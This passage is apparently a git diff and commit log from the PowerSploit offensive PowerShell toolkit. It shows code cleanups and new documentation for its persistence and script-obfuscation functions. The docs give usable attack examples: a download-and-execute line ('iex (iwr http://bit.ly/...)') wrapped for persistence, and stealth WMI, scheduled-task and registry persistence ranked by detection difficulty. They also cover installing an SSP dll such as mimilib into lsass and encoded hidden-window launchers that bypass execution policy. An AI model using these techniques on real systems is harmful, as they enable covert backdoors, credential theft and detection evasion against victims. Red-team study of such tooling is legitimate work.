SpLsaModeInitialize. if ([IntPtr]::Size -eq 4) { $StructSize = 20 - } else { + } + else { $StructSize = 24 } @@ -939,7 +953,8 @@ into lsass, the dll must export SpLsaModeInitialize. try { $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) - } catch { + } + catch { $HResult = $Error[0].Exception.InnerException.HResult Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))" Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)" @@ -948,34 +963,37 @@ into lsass, the dll must export SpLsaModeInitialize. if ($RuntimeSuccess) { Write-Verbose 'Installation and loading complete!' - } else { + } + else { Write-Verbose 'Installation complete! Reboot for changes to take effect.' } } -function Get-SecurityPackages +function Get-SecurityPackage { <# .SYNOPSIS Enumerates all loaded security packages (SSPs). -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION -Get-SecurityPackages is a wrapper for secur32!EnumerateSecurityPackages. +Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. It also parses the returned SecPkgInfo struct array. .EXAMPLE -Get-SecurityPackages +Get-SecurityPackage #> - [CmdletBinding()] Param() + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding()] + Param() #region P/Invoke declarations for secur32.dll $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI') @@ -1084,4 +1102,4 @@ Get-SecurityPackages $SecPackage } -} \ No newline at end of file +} diff --git a/docs/Persistence/Add-Persistence.md b/docs/Persistence/Add-Persistence.md new file mode 100755 index 0000000..bdd14fb --- /dev/null +++ b/docs/Persistence/Add-Persistence.md @@ -0,0 +1,227 @@ +# Add-Persistence + +## SYNOPSIS +Add persistence capabilities to a script. + +PowerSploit Function: Add-Persistence +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption +Optional Dependencies: None + +## SYNTAX + +### ScriptBlock +``` +Add-Persistence -ScriptBlock -ElevatedPersistenceOption -UserPersistenceOption + [-PersistenceScriptName ] [-PersistentScriptFilePath ] [-RemovalScriptFilePath ] + [-DoNotPersistImmediately] [-PassThru] +``` + +### FilePath +``` +Add-Persistence -FilePath -ElevatedPersistenceOption -UserPersistenceOption + [-PersistenceScriptName ] [-PersistentScriptFilePath ] [-RemovalScriptFilePath ] + [-DoNotPersistImmediately] [-PassThru] +``` + +## DESCRIPTION +Add-Persistence will add persistence capabilities to any script or scriptblock. +This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +``` + +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose + +Description +----------- +Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. +elevated) determined at runtime. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } +``` + +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 + +Description +----------- +Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. +elevated) determined at runtime. +The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. +The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 + +## PARAMETERS + +### -ScriptBlock +Specifies a scriptblock containing your payload. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -FilePath +Specifies the path to your payload. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: Path + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ElevatedPersistenceOption +Specifies the trigger for the persistent payload if the target is running elevated. +You must run New-ElevatedPersistenceOption to generate this argument. + +```yaml +Type: Object +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserPersistenceOption +Specifies the trigger for the persistent payload if the target is not running elevated. +You must run New-UserPersistenceOption to generate this argument. + +```yaml +Type: Object +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PersistenceScriptName +Specifies the name of the function that will wrap the original payload. +The default value is 'Update-Windows'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Update-Windows +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PersistentScriptFilePath +Specifies the path where you would like to output the persistence script. +By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$PWD\Persistence.ps1" +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RemovalScriptFilePath +Specifies the path where you would like to output a script that will remove the persistent payload. +By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$PWD\RemovePersistence.ps1" +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DoNotPersistImmediately +Output only the wrapper function for the original payload. +By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. +it will end with 'Update-Windows -Persist'). +If you are in a position where you are running in memory but want to persist at a later time, use this option. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PassThru +Outputs the contents of the persistent script to the pipeline. +This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### None + +Add-Persistence cannot receive any input from the pipeline. + +## OUTPUTS + +### System.Management.Automation.ScriptBlock + +If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. + +## NOTES +When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/Persistence/Get-SecurityPackage.md b/docs/Persistence/Get-SecurityPackage.md new file mode 100755 index 0000000..2a0cdef --- /dev/null +++ b/docs/Persistence/Get-SecurityPackage.md @@ -0,0 +1,37 @@ +# Get-SecurityPackage + +## SYNOPSIS +Enumerates all loaded security packages (SSPs). + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-SecurityPackage +``` + +## DESCRIPTION +Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. +It also parses the returned SecPkgInfo struct array. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-SecurityPackage +``` + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Persistence/Install-SSP.md b/docs/Persistence/Install-SSP.md new file mode 100755 index 0000000..99193c0 --- /dev/null +++ b/docs/Persistence/Install-SSP.md @@ -0,0 +1,60 @@ +# Install-SSP + +## SYNOPSIS +Installs a security support provider (SSP) dll. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Install-SSP [[-Path] ] +``` + +## DESCRIPTION +Install-SSP installs an SSP dll. +Installation involves copying the dll to +%windir%\System32 and adding the name of the dll to +HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Install-SSP -Path .\mimilib.dll +``` + +## PARAMETERS + +### -Path +{{Fill Path Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +The SSP dll must match the OS architecture. +i.e. +You must have a 64-bit SSP dll +if you are running a 64-bit OS. +In order for the SSP dll to be loaded properly +into lsass, the dll must export SpLsaModeInitialize. + +## RELATED LINKS + diff --git a/docs/Persistence/New-ElevatedPersistenceOption.md b/docs/Persistence/New-ElevatedPersistenceOption.md new file mode 100755 index 0000000..efe215d --- /dev/null +++ b/docs/Persistence/New-ElevatedPersistenceOption.md @@ -0,0 +1,235 @@ +# New-ElevatedPersistenceOption + +## SYNOPSIS +Configure elevated persistence options for the Add-Persistence function. + +PowerSploit Function: New-ElevatedPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### PermanentWMIAtStartup +``` +New-ElevatedPersistenceOption [-PermanentWMI] [-AtStartup] +``` + +### PermanentWMIDaily +``` +New-ElevatedPersistenceOption [-PermanentWMI] [-Daily] -At +``` + +### ScheduledTaskOnIdle +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-OnIdle] +``` + +### ScheduledTaskAtLogon +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-AtLogon] +``` + +### ScheduledTaskHourly +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-Hourly] +``` + +### ScheduledTaskDaily +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-Daily] -At +``` + +### Registry +``` +New-ElevatedPersistenceOption [-Registry] [-AtLogon] +``` + +## DESCRIPTION +New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. +The output of this function is a required parameter of Add-Persistence. +Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +``` + +## PARAMETERS + +### -PermanentWMI +Persist via a permanent WMI event subscription. +This option will be the most difficult to detect and remove. + +Detection Difficulty: Difficult +Removal Difficulty: Difficult +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIAtStartup, PermanentWMIDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ScheduledTask +Persist via a scheduled task. + +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskAtLogon, ScheduledTaskHourly, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Registry +Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. +Note: This option will briefly pop up a PowerShell console to the user. + +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? +Yes + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Daily +Starts the payload daily. + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Hourly +Starts the payload hourly. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskHourly +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -At +Starts the payload at the specified time. +You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +```yaml +Type: DateTime +Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OnIdle +Starts the payload after one minute of idling. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtLogon +Starts the payload upon any user logon. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskAtLogon, Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtStartup +Starts the payload within 240 and 325 seconds of computer startup. + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIAtStartup +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/Persistence/New-UserPersistenceOption.md b/docs/Persistence/New-UserPersistenceOption.md new file mode 100755 index 0000000..c7c020f --- /dev/null +++ b/docs/Persistence/New-UserPersistenceOption.md @@ -0,0 +1,179 @@ +# New-UserPersistenceOption + +## SYNOPSIS +Configure user-level persistence options for the Add-Persistence function. + +PowerSploit Function: New-UserPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### ScheduledTaskOnIdle +``` +New-UserPersistenceOption [-ScheduledTask] [-OnIdle] +``` + +### ScheduledTaskHourly +``` +New-UserPersistenceOption [-ScheduledTask] [-Hourly] +``` + +### ScheduledTaskDaily +``` +New-UserPersistenceOption [-ScheduledTask] [-Daily] -At +``` + +### Registry +``` +New-UserPersistenceOption [-Registry] [-AtLogon] +``` + +## DESCRIPTION +New-UserPersistenceOption allows for the configuration of elevated persistence options. +The output of this function is a required parameter of Add-Persistence. +Available persitence options in order of stealth are the following: scheduled task, registry. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +``` + +## PARAMETERS + +### -ScheduledTask +Persist via a scheduled task. + +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskHourly, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Registry +Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. +Note: This option will briefly pop up a PowerShell console to the user. + +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? +Yes + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Daily +Starts the payload daily. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Hourly +Starts the payload hourly. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskHourly +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -At +Starts the payload at the specified time. +You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +```yaml +Type: DateTime +Parameter Sets: ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OnIdle +Starts the payload after one minute of idling. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtLogon +Starts the payload upon any user logon. + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/index.md b/docs/index.md index 8cd53ea..ac37071 100644 --- a/docs/index.md +++ b/docs/index.md @@ -25,7 +25,7 @@ Add persistence capabilities to a PowerShell script. New-ElevatedPersistenceOption - Configure elevated persistence options for the Add-Persistence function. Add-Persistence - Add persistence capabilities to a script. Install-SSP - Installs a security support provider (SSP) dll. - Get-SecurityPackages - Enumerates all loaded security packages (SSPs). + Get-SecurityPackage - Enumerates all loaded security packages (SSPs). ### AntivirusBypass AV doesn't stand a chance against PowerShell! diff --git a/mkdocs.yml b/mkdocs.yml index 8012ab0..a0838fd 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -132,3 +132,10 @@ pages: - Functions: - Set-MasterBootRecord: 'Mayhem/Set-MasterBootRecord.md' - Set-CriticalProcess: 'Mayhem/Set-CriticalProcess.md' +- Persistence: + - Functions: + - New-ElevatedPersistenceOption: 'Persistence/New-ElevatedPersistenceOption.md' + - New-UserPersistenceOption: 'Persistence/New-UserPersistenceOption.md' + - Add-Persistence: 'Persistence/Add-Persistence.md' + - Install-SSP: 'Persistence/Install-SSP.md' + - Get-SecurityPackage: 'Persistence/Get-SecurityPackage.md' -- cgit v1.2.3 From 59e6f94e763d40614284d43823a391cafd384c4c Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 18:50:58 -0500 Subject: For ./ScriptModification/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- README.md | 2 +- ScriptModification/Out-CompressedDll.ps1 | 20 +-- ScriptModification/Out-EncodedCommand.ps1 | 19 +-- ScriptModification/Out-EncryptedScript.ps1 | 42 +++--- ScriptModification/Remove-Comment.ps1 | 158 +++++++++++++++++++++ ScriptModification/Remove-Comments.ps1 | 156 --------------------- ScriptModification/ScriptModification.psd1 | 2 +- docs/ScriptModification/Out-CompressedDll.md | 60 ++++++++ docs/ScriptModification/Out-EncodedCommand.md | 186 +++++++++++++++++++++++++ docs/ScriptModification/Out-EncryptedScript.md | 148 ++++++++++++++++++++ docs/ScriptModification/Remove-Comment.md | 110 +++++++++++++++ docs/index.md | 2 +- mkdocs.yml | 6 + 13 files changed, 716 insertions(+), 195 deletions(-) create mode 100644 ScriptModification/Remove-Comment.ps1 delete mode 100644 ScriptModification/Remove-Comments.ps1 create mode 100755 docs/ScriptModification/Out-CompressedDll.md create mode 100755 docs/ScriptModification/Out-EncodedCommand.md create mode 100755 docs/ScriptModification/Out-EncryptedScript.md create mode 100755 docs/ScriptModification/Remove-Comment.md (limited to 'docs') diff --git a/README.md b/README.md index 60ac90f..5ec6892 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ Compresses, Base-64 encodes, and outputs generated code to load a managed dll in Encrypts text files/scripts. -#### `Remove-Comments` +#### `Remove-Comment` Strips comments and extra whitespace from a script. diff --git a/ScriptModification/Out-CompressedDll.ps1 b/ScriptModification/Out-CompressedDll.ps1 index 5e6897d..8608956 100644 --- a/ScriptModification/Out-CompressedDll.ps1 +++ b/ScriptModification/Out-CompressedDll.ps1 @@ -5,12 +5,12 @@ function Out-CompressedDll Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. -PowerSploit Function: Out-CompressedDll -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Out-CompressedDll +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array. @@ -21,7 +21,7 @@ Specifies the path to a managed executable. .EXAMPLE -C:\PS> Out-CompressedDll -FilePath evil.dll +Out-CompressedDll -FilePath evil.dll Description ----------- @@ -36,7 +36,9 @@ Only pure MSIL-based dlls can be loaded using this technique. Native or IJW ('it http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( [Parameter(Mandatory = $True)] [String] $FilePath @@ -51,7 +53,7 @@ http://www.exploit-monday.com/2012/12/in-memory-dll-loading.html $FileBytes = [System.IO.File]::ReadAllBytes($Path) - if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ') + if (($FileBytes[0..1] | ForEach-Object {[Char]$_}) -join '' -cne 'MZ') { Throw "$Path is not a valid executable." } diff --git a/ScriptModification/Out-EncodedCommand.ps1 b/ScriptModification/Out-EncodedCommand.ps1 index 04e8c12..6f21391 100644 --- a/ScriptModification/Out-EncodedCommand.ps1 +++ b/ScriptModification/Out-EncodedCommand.ps1 @@ -5,12 +5,12 @@ function Out-EncodedCommand Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. -PowerSploit Function: Out-EncodedCommand -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Out-EncodedCommand +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Out-EncodedCommand prepares a PowerShell script such that it can be pasted into a command prompt. The scenario for using this tool is the following: You compromise a machine, have a shell and want to execute a PowerShell script as a payload. This technique eliminates the need for an interactive PowerShell 'shell' and it bypasses any PowerShell execution policies. @@ -49,13 +49,13 @@ Base-64 encodes the entirety of the output. This is usually unnecessary and effe .EXAMPLE -C:\PS> Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} +Out-EncodedCommand -ScriptBlock {Write-Host 'hello, world!'} powershell -C sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('Cy/KLEnV9cgvLlFQz0jNycnXUSjPL8pJUVQHAA=='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() .EXAMPLE -C:\PS> Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput +Out-EncodedCommand -Path C:\EvilPayload.ps1 -NonInteractive -NoProfile -WindowStyle Hidden -EncodedOutput powershell -NoP -NonI -W Hidden -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcATABjAGkAeABDAHMASQB3AEUAQQBEAFEAWAAzAEUASQBWAEkAYwBtAEwAaQA1AEsAawBGAEsARQA2AGwAQgBCAFIAWABDADgAaABLAE8ATgBwAEwAawBRAEwANAAzACsAdgBRAGgAdQBqAHkAZABBADkAMQBqAHEAcwAzAG0AaQA1AFUAWABkADAAdgBUAG4ATQBUAEMAbQBnAEgAeAA0AFIAMAA4AEoAawAyAHgAaQA5AE0ANABDAE8AdwBvADcAQQBmAEwAdQBYAHMANQA0ADEATwBLAFcATQB2ADYAaQBoADkAawBOAHcATABpAHMAUgB1AGEANABWAGEAcQBVAEkAagArAFUATwBSAHUAVQBsAGkAWgBWAGcATwAyADQAbgB6AFYAMQB3ACsAWgA2AGUAbAB5ADYAWgBsADIAdAB2AGcAPQA9ACcAKQAsAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAKQA= @@ -72,7 +72,8 @@ This cmdlet was inspired by the createcmd.ps1 script introduced during Dave Kenn http://www.exploit-monday.com #> - [CmdletBinding( DefaultParameterSetName = 'FilePath')] Param ( + [CmdletBinding( DefaultParameterSetName = 'FilePath')] + Param ( [Parameter(Position = 0, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )] [ValidateNotNullOrEmpty()] [ScriptBlock] diff --git a/ScriptModification/Out-EncryptedScript.ps1 b/ScriptModification/Out-EncryptedScript.ps1 index eba48f7..c24b126 100644 --- a/ScriptModification/Out-EncryptedScript.ps1 +++ b/ScriptModification/Out-EncryptedScript.ps1 @@ -5,11 +5,11 @@ function Out-EncryptedScript Encrypts text files/scripts. -PowerSploit Function: Out-EncryptedScript -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +PowerSploit Function: Out-EncryptedScript +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION @@ -36,7 +36,8 @@ is randomly generated by default. .EXAMPLE -C:\PS> Out-EncryptedScript .\Naughty-Script.ps1 password salty +$Password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +Out-EncryptedScript .\Naughty-Script.ps1 $Password salty Description ----------- @@ -48,10 +49,10 @@ function 'de' and the base64-encoded ciphertext. .EXAMPLE -C:\PS> [String] $cmd = Get-Content .\evil.ps1 -C:\PS> Invoke-Expression $cmd -C:\PS> $decrypted = de password salt -C:\PS> Invoke-Expression $decrypted +[String] $cmd = Get-Content .\evil.ps1 +Invoke-Expression $cmd +$decrypted = de password salt +Invoke-Expression $decrypted Description ----------- @@ -64,34 +65,39 @@ unencrypted script is called via Invoke-Expression This command can be used to encrypt any text-based file/script #> - [CmdletBinding()] Param ( + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $ScriptPath, - + [Parameter(Position = 1, Mandatory = $True)] - [String] + [Security.SecureString] $Password, - + [Parameter(Position = 2, Mandatory = $True)] [String] $Salt, - + [Parameter(Position = 3)] [ValidateLength(16, 16)] [String] - $InitializationVector = ((1..16 | % {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''), - + $InitializationVector = ((1..16 | ForEach-Object {[Char](Get-Random -Min 0x41 -Max 0x5B)}) -join ''), + [Parameter(Position = 4)] [String] $FilePath = '.\evil.ps1' ) + $TempCred = New-Object System.Management.Automation.PSCredential('a', $Password) + $PlaintextPassword = $TempCred.GetNetworkCredential().Password + $AsciiEncoder = New-Object System.Text.ASCIIEncoding $ivBytes = $AsciiEncoder.GetBytes($InitializationVector) # While this can be used to encrypt any file, it's primarily designed to encrypt itself. [Byte[]] $scriptBytes = Get-Content -Encoding Byte -ReadCount 0 -Path $ScriptPath - $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($Password, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) + $DerivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($PlaintextPassword, $AsciiEncoder.GetBytes($Salt), "SHA1", 2) $Key = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider $Key.Mode = [System.Security.Cryptography.CipherMode]::CBC [Byte[]] $KeyBytes = $DerivedPass.GetBytes(16) diff --git a/ScriptModification/Remove-Comment.ps1 b/ScriptModification/Remove-Comment.ps1 new file mode 100644 index 0000000..6194419 --- /dev/null +++ b/ScriptModification/Remove-Comment.ps1 @@ -0,0 +1,158 @@ +function Remove-Comment +{ +<# +.SYNOPSIS + +Strips comments and extra whitespace from a script. + +PowerSploit Function: Remove-Comment +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Remove-Comment strips out comments and unnecessary whitespace from a script. This is best used in conjunction with Out-EncodedCommand when the size of the script to be encoded might be too big. + +A major portion of this code was taken from the Lee Holmes' Show-ColorizedContent script. You rock, Lee! + +.PARAMETER ScriptBlock + +Specifies a scriptblock containing your script. + +.PARAMETER Path + +Specifies the path to your script. + +.EXAMPLE + +$Stripped = Remove-Comment -Path .\ScriptWithComments.ps1 + +.EXAMPLE + +Remove-Comment -ScriptBlock { +### This is my awesome script. My documentation is beyond reproach! + Write-Host 'Hello, World!' ### Write 'Hello, World' to the host +### End script awesomeness +} + +Write-Host 'Hello, World!' + +.EXAMPLE + +Remove-Comment -Path Inject-Shellcode.ps1 | Out-EncodedCommand + +Description +----------- +Removes extraneous whitespace and comments from Inject-Shellcode (which is notoriously large) and pipes the output to Out-EncodedCommand. + +.INPUTS + +System.String, System.Management.Automation.ScriptBlock + +Accepts either a string containing the path to a script or a scriptblock. + +.OUTPUTS + +System.Management.Automation.ScriptBlock + +Remove-Comment returns a scriptblock. Call the ToString method to convert a 